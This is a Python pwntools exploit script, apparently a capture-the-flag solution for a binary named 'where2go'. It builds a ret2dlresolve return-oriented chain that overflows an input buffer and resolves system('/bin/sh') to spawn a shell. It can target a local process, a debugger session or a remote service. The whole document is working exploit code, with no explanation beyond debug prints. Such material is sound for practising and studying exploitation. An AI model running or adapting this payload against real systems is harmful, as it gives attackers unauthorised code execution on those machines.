where2go

#!/usr/bin/env python3

from pwn import *
#import time
#from termcolor import colored
#from tqdm import tqdm

elf = ELF("./where2go_patched")
rop = ROP(elf)

context.binary = elf
context.log_level = "DEBUG"
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
"""

def conn():
    if args.REMOTE:
        r = remote("addr", 1337)
    elif args.GDB:
        r = gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r


def main():
    r = conn()

    dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
    rop.raw(0x8048424)
    rop.gets(dlresolve.data_addr)
    rop.ret2dlresolve(dlresolve)


    print(rop.dump())


    offset = b'i' * 8
    r.sendline(offset + rop.chain() )
    r.sendline(dlresolve.payload)
    print(f"strtab: {hex(dlresolve.strtab)}")
    print(f"symtab: {hex(dlresolve.symtab)}")
    print(f"jmprel: {hex(dlresolve.jmprel)}")
    print(f"versym: {hex(dlresolve.versym)}")
    print(f"reloc:  {hex(dlresolve.reloc_index)}")

    #r.interactive()




if __name__ == "__main__":
    main()